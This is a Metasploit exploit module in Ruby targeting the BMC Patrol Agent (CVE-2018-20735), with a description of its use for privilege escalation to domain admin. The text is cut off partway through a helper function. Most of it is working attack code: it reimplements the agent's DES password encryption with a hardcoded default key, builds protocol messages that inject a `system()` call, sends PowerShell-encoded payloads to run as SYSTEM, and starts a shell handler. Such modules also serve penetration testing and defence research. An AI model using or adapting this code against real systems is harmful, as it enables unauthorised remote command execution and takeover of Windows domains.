This Metasploit module leverages the remote command execution feature provided by the BMC Patrol Agent software. It can also be used to escalate privileges on Windows hosts as the software runs as SYSTEM but only verifies that the password of the provided user is correct. This also means if the software is running on a domain controller, it can be used to escalate from a normal domain user to domain admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses powershell to execute the payload. The powershell version tends to timeout on the first run so it may take multiple tries.
07522a05b37456d4fcb66eb0e429685a##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zlib'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
@deflater = nil
@inflater = nil
SBOXES = [
0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,
0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,
0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,
0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,
0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,
0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,
0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,
0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,
0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,
0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,
0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,
0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,
0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,
0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,
0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,
0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,
0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,
0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,
0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,
0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,
0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,
0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,
0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,
0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,
0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,
0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,
0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,
0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,
0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,
0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,
0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,
0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,
0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,
0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,
0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,
0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,
0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,
0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,
0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,
0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,
0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,
0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,
0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,
0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,
0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,
0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,
0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,
0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,
0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,
0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,
0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,
0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,
0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,
0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,
0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,
0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,
0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,
0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,
0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,
0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,
0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,
0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,
0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,
0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,
0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,
0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,
0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,
0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,
0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,
0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,
0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,
0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,
0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,
0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,
0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,
0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,
0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,
0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,
0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,
0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,
0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,
0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,
0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,
0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,
0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,
0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,
0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,
0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,
0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,
0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,
0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220
].freeze
PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\
"\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\
"\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\
"\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze
PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\
"\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\
"\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\
"\x23\x1C\x1F".freeze
SBOX_BYTE_ORDER = [
1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,
0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,
0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,
0x40000000, 0x80000000
].freeze
ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze
INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze
INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze
DES_ENCRYPT = 0
def initialize(info = {})
super(update_info(info,
'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',
'Description' => %q(
This module leverages the remote command execution feature provided by
the BMC Patrol Agent software. It can also be used to escalate privileges
on Windows hosts as the software runs as SYSTEM but only verfies that the password
of the provided user is correct. This also means if the software is running on a
domain controller, it can be used to escalate from a normal domain user to domain
admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
powershell to execute the payload. The powershell version tends to timeout on
the first run so it may take multiple tries.
),
'License' => MSF_LICENSE,
'Author' =>
[
'b0yd' # @rwincey / Vulnerability Discovery and MSF module author
],
'References' =>
[
['CVE', '2018-20735'],
['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']
],
'Platform' => ['win', 'linux'],
'Targets' =>
[
[
'Windows Powershell Injected Shellcode', {
'Platform' => 'win'
}
],
[
'Generic Command Callback', {
'Arch' => ARCH_CMD,
'Platform' => %w[linux unix win]
}
]
],
'Privileged' => true,
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'DisclosureDate' => 'Jan 17 2019'))
register_options(
[
Opt::RPORT(3181),
OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),
OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),
OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])
]
)
end
def cleanup
disconnect
print_status("Disconnected from BMC Patrol Agent.")
@inflater.close
@deflater.close
super
end
def get_target_os(srv_info_msg)
lines = srv_info_msg.split("\n")
fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"
os = nil
ver = nil
lines[2..-2].each do |i|
val = i.split("=")
if val.length == 2
if val[0].strip! == "T"
os = val[1]
elsif val[0].strip! == "VER"
ver = val[1]
end
end
end
[os, ver]
end
def get_cmd_output(cmd_output_msg)
lines = cmd_output_msg.split("\n")
fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}"
# Parse out command results
idx_start = cmd_output_msg.index("Result\x00")
idx_end = cmd_output_msg.index("RemPsl_user")
output = cmd_output_msg[idx_start + 7..idx_end - 1]
output
end
def exploit
# Manually start the handler if not running a single command
if datastore['CMD'].nil? || datastore['CMD'].empty?
# Set to nil if the cmd is empty for checks further down
datastore['CMD'] = nil
datastore['DisablePayloadHandler'] = false
# Configure the payload handler
payload_instance.exploit_config = {
'active_timeout' => 300
}
# Setup the payload handler
payload_instance.setup_handler
# Start the payload handler
payload_instance.start_handler
end
# Initialize zlib objects
@deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)
@inflater = Zlib::Inflate.new
# Connect to the BMC Patrol Agent
connect
print_status("Connected to BMC Patrol Agent.")
# Create session msg
create_session
ret_data = receive_msg
fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil?
# Authenticate
authenticate_user(datastore['USER'], datastore['PASSWORD'])
# Receive the authentication response
ret_data = receive_msg
fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?
ret_msg = process_response(ret_data)
if ret_msg =~ /logged in/
print_status("Successfully authenticated user.")
else
fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")
end
# Receive the server info
ret_data = receive_msg
fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?
srv_info = process_response(ret_data)
# Get the target's OS from their info msg
target_os = get_target_os(srv_info)
# When using autotargeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case and ask the user to select an appropriate payload.
if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
target_name = target.name
if !datastore['CMD'].nil?
command = datastore['CMD'].tr('"', '\"')
print_status("Command to execute: #{command}")
elsif target_name == 'Windows Powershell Injected Shellcode'
# Get encoded powershell of payload
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
else
command = payload.raw.tr('"', '\"')
end
# Run command
run_cmd(command)
# Receive command confirmation
ret_data = receive_msg
if !ret_data.nil?
process_response(ret_data)
end
# Receive command output
ret_data = receive_msg
if !ret_data.nil? && !datastore['CMD'].nil?
cmd_result_data = process_response(ret_data)
cmd_result = get_cmd_output(cmd_result_data)
print_status("Output:\n#{cmd_result}")
end
# Handle the shell
handler
end
def receive_msg
header = sock.get_once(6)
if header.nil?
return
end
payload_size_arr = header[0, 4]
payload_size = payload_size_arr.unpack1("N")
payload = ''
if payload_size > 0
payload = sock.get_once(payload_size)
if payload.nil?
return
end
end
return header + payload
end
def send_msg(type, compression, data)
data_len = data.length
buf = [data_len].pack('N')
# Set the type
buf += [type].pack('C')
# Set compression flag
buf += [compression].pack('C')
# Add data
buf += data
# Send msg
sock.put(buf)
end
def process_response(ret_data)
# While style checks complain, I intend to leave this parsing
# in place for debugging purposes
ret_size_arr = ret_data[0, 4]
ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment
msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment
comp_flag = ret_data[5, 1]
payload_data = ret_data[6..-1]
if comp_flag == "\x00"
bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment
payload_data = @inflater.inflate(payload_data)
end
return payload_data
end
def run_cmd(cmd)
user_num = rand 1000..9999
msg_1 = %(R_E
{
\tRE_ID=1
\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}
\tRE_ORG=PemApi
\tRE_SEV=1
\tRE_NSEV=5
\tRE_ST=
}
)
msg_1 += "\x00"
# Compress the message
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
send_msg(0x44, 0x0, comp_data)
end
def identify(user)
inner_len = 15
msg_type = 8
len_str = [inner_len].pack("N")
msg_str = [msg_type].pack("N")
msg_1 = %(PEM_MSG
{
\tNSDL=#{inner_len}
\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00
}
)
msg_1 += "\x00"
print_status("Msg: #{msg_1}")
bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment
# Compress the message
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
send_msg(0x44, 0x0, comp_data)
end
def create_session
sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"
sess_msg += "\x00" * 0x68
send_msg(0x45, 0x2, sess_msg)
end
def authenticate_user(user, password)
# Default encryption key
enc_key = 'k$C4}@"_'
output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)
# Convert to hex string
encrpted_pw = output_data.unpack1("H*")
des_pw = encrpted_pw.upcase
msg_1 = %(ID
{
\tHOST=user
\tUSER=#{user}
\tPASS=#{des_pw}
\tVER=V9.6.00
\tT=PEMAPI
\tHTBT=1
\tTMOT=1728000
\tRTRS=3
}
)
msg_1 += "\x00"
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
send_msg(0x44, 0x0, comp_data)
end
def rotate_block_init(input_block_tuple)
v6 = 0
v5 = 0
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
v3 = input_block_tuple[0]
v4 = input_block_tuple[1]
if (v4 & 0x2000000) != 0
v5 = 1
end
if (v4 & 0x20000) != 0
v5 |= 2
end
if (v4 & 0x200) != 0
v5 |= 4
end
if (v4 & 2) != 0
v5 |= 8
end
if (v3 & 0x2000000) != 0
v5 |= 0x10
end
if (v3 & 0x20000) != 0
v5 |= 0x20
end
if (v3 & 0x200) != 0
v5 |= 0x40
end
if (v3 & 2) != 0
v5 |= 0x80
end
if (v4 & 0x8000000) != 0
v5 |= 0x100
end
if (v4 & 0x80000) != 0
v5 |= 0x200
end
if (v4 & 0x800) != 0
v5 |= 0x400
end
if (v4 & 8) != 0
v5 |= 0x800
end
if (v3 & 0x8000000) != 0
v5 |= 0x1000
end
if (v3 & 0x80000) != 0
v5 |= 0x2000
end
if (v3 & 0x800) != 0
v5 |= 0x4000
end
if (v3 & 8) != 0
v5 |= 0x8000
end
if (v4 & 0x20000000) != 0
v5 |= 0x10000
end
if (v4 & 0x200000) != 0
v5 |= 0x20000
end
if (v4 & 0x2000) != 0
v5 |= 0x40000
end
if (v4 & 0x20) != 0
v5 |= 0x80000
end
if (v3 & 0x20000000) != 0
v5 |= 0x100000
end
if (v3 & 0x200000) != 0
v5 |= 0x200000
end
if (v3 & 0x2000) != 0
v5 |= 0x400000
end
if (v3 & 0x20) != 0
v5 |= 0x800000
end
if (v4 < 0)
v5 |= 0x1000000
end
if (v4 & 0x800000) != 0
v5 |= 0x2000000
end
if (v4 & 0x8000) != 0
v5 |= 0x4000000
end
if (v4 & 0x80) != 0
v5 |= 0x8000000
end
if (v3 < 0)
v5 |= 0x10000000
end
if (v3 & 0x800000) != 0
v5 |= 0x20000000
end
if (v3 & 0x8000) != 0
v5 |= 0x40000000
end
if (v3 & 0x80) != 0
v5 |= 0x80000000
end
if (v4 & 0x1000000) != 0
v6 = 1
end
if (v4 & 0x10000) != 0
v6 |= 2
end
if (v4 & 0x100) != 0
v6 |= 4
end
if (v4 & 1) != 0
v6 |= 8
end
if (v3 & 0x1000000) != 0
v6 |= 0x10
end
if (v3 & 0x10000) != 0
v6 |= 0x20
end
if (v3 & 0x100) != 0
v6 |= 0x40
end
if (v3 & 1) != 0
v6 |= 0x80
end
if (v4 & 0x4000000) != 0
v6 |= 0x100
end
if (v4 & 0x40000) != 0
v6 |= 0x200
end
if (v4 & 0x400) != 0
v6 |= 0x400
end
if (v4 & 4) != 0
v6 |= 0x800
end
if (v3 & 0x4000000) != 0
v6 |= 0x1000
end
if (v3 & 0x40000) != 0
v6 |= 0x2000
end
if (v3 & 0x400) != 0
v6 |= 0x4000
end
if (v3 & 4) != 0
v6 |= 0x8000
end
if (v4 & 0x10000000) != 0
v6 |= 0x10000
end
if (v4 & 0x100000) != 0
v6 |= 0x20000
end
if (v4 & 0x1000) != 0
v6 |= 0x40000
end
if (v4 & 0x10) != 0
v6 |= 0x80000
end
if (v3 & 0x10000000) != 0
v6 |= 0x100000
end
if (v3 & 0x100000) != 0
v6 |= 0x200000
end
if (v3 & 0x1000) != 0
v6 |= 0x400000
end
if (v3 & 0x10) != 0
v6 |= 0x800000
end
if (v4 & 0x40000000) != 0
v6 |= 0x1000000
end
if (v4 & 0x400000) != 0
v6 |= 0x2000000
end
if (v4 & 0x4000) != 0
v6 |= 0x4000000
end
if (v4 & 0x40) != 0
v6 |= 0x8000000
end
if (v3 & 0x40000000) != 0
v6 |= 0x10000000
end
if (v3 & 0x400000) != 0
v6 |= 0x20000000
end
if (v3 & 0x4000) != 0
v6 |= 0x40000000
end
if (v3 & 0x40) != 0
v6 |= 0x80000000
end
# Create return tuple
ret_block = Array.new
ret_block.push v5
ret_block.push v6
ret_block
end
def rotate_block_final(input_block_tuple)
v6 = 0
v5 = 0
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
v3 = input_block_tuple[0]
v4 = input_block_tuple[1]
if (v4 & 0x80) != 0
v5 = 1
end
if (v3 & 0x80) != 0
v5 |= 2
end
if (v4 & 0x8000) != 0
v5 |= 4
end
if (v3 & 0x8000) != 0
v5 |= 8
end
if (v4 & 0x800000) != 0
v5 |= 0x10
end
if (v3 & 0x800000) != 0
v5 |= 0x20
end
if (v4 < 0)
v5 |= 0x40
end
if (v3 < 0)
v5 |= 0x80
end
if (v4 & 0x40) != 0
v5 |= 0x100
end
if (v3 & 0x40) != 0
v5 |= 0x200
end
if (v4 & 0x4000) != 0
v5 |= 0x400
end
if (v3 & 0x4000) != 0
v5 |= 0x800
end
if (v4 & 0x400000) != 0
v5 |= 0x1000
end
if (v3 & 0x400000) != 0
v5 |= 0x2000
end
if (v4 & 0x40000000) != 0
v5 |= 0x4000
end
if (v3 & 0x40000000) != 0
v5 |= 0x8000
end
if (v4 & 0x20) != 0
v5 |= 0x10000
end
if (v3 & 0x20) != 0
v5 |= 0x20000
end
if (v4 & 0x2000) != 0
v5 |= 0x40000
end
if (v3 & 0x2000) != 0
v5 |= 0x80000
end
if (v4 & 0x200000) != 0
v5 |= 0x100000
end
if (v3 & 0x200000) != 0
v5 |= 0x200000
end
if (v4 & 0x20000000) != 0
v5 |= 0x400000
end
if (v3 & 0x20000000) != 0
v5 |= 0x800000
end
if (v4 & 0x10) != 0
v5 |= 0x1000000
end
if (v3 & 0x10) != 0
v5 |= 0x2000000
end
if (v4 & 0x1000) != 0
v5 |= 0x4000000
end
if (v3 & 0x1000) != 0
v5 |= 0x8000000
end
if (v4 & 0x100000) != 0
v5 |= 0x10000000
end
if (v3 & 0x100000) != 0
v5 |= 0x20000000
end
if (v4 & 0x10000000) != 0
v5 |= 0x40000000
end
if (v3 & 0x10000000) != 0
v5 |= 0x80000000
end
if (v4 & 8) != 0
v6 = 1
end
if (v3 & 8) != 0
v6 |= 2
end
if (v4 & 0x800) != 0
v6 |= 4
end
if (v3 & 0x800) != 0
v6 |= 8
end
if (v4 & 0x80000) != 0
v6 |= 0x10
end
if (v3 & 0x80000) != 0
v6 |= 0x20
end
if (v4 & 0x8000000) != 0
v6 |= 0x40
end
if (v3 & 0x8000000) != 0
v6 |= 0x80
end
if (v4 & 4) != 0
v6 |= 0x100
end
if (v3 & 4) != 0
v6 |= 0x200
end
if (v4 & 0x400) != 0
v6 |= 0x400
end
if (v3 & 0x400) != 0
v6 |= 0x800
end
if (v4 & 0x40000) != 0
v6 |= 0x1000
end
if (v3 & 0x40000) != 0
v6 |= 0x2000
end
if (v4 & 0x4000000) != 0
v6 |= 0x4000
end
if (v3 & 0x4000000) != 0
v6 |= 0x8000
end
if (v4 & 2) != 0
v6 |= 0x10000
end
if (v3 & 2) != 0
v6 |= 0x20000
end
if (v4 & 0x200) != 0
v6 |= 0x40000
end
if (v3 & 0x200) != 0
v6 |= 0x80000
end
if (v4 & 0x20000) != 0
v6 |= 0x100000
end
if (v3 & 0x20000) != 0
v6 |= 0x200000
end
if (v4 & 0x2000000) != 0
v6 |= 0x400000
end
if (v3 & 0x2000000) != 0
v6 |= 0x800000
end
if (v4 & 1) != 0
v6 |= 0x1000000
end
if (v3 & 1) != 0
v6 |= 0x2000000
end
if (v4 & 0x100) != 0
v6 |= 0x4000000
end
if (v3 & 0x100) != 0
v6 |= 0x8000000
end
if (v4 & 0x10000) != 0
v6 |= 0x10000000
end
if (v3 & 0x10000) != 0
v6 |= 0x20000000
end
if (v4 & 0x1000000) != 0
v6 |= 0x40000000
end
if (v3 & 0x1000000) != 0
v6 |= 0x80000000
end
# Create return tuple
ret_block = Array.new
ret_block.push v5
ret_block.push v6
ret_block
end
def load(a1)
a2 = Array.new(8, 0)
v3 = a1
a2[0] = a1 & 0xff
v3 >>= 3
a2[1] = v3 & 0xff
v3 >>= 4
a2[2] = v3 & 0xff
v3 >>= 4
a2[3] = v3 & 0xff
v3 >>= 4
a2[4] = v3 & 0xff
v3 >>= 4
a2[5] = v3 & 0xff
v3 >>= 4
a2[6] = v3 & 0xff
v3 >>= 4
a2[7] = v3 & 0xff
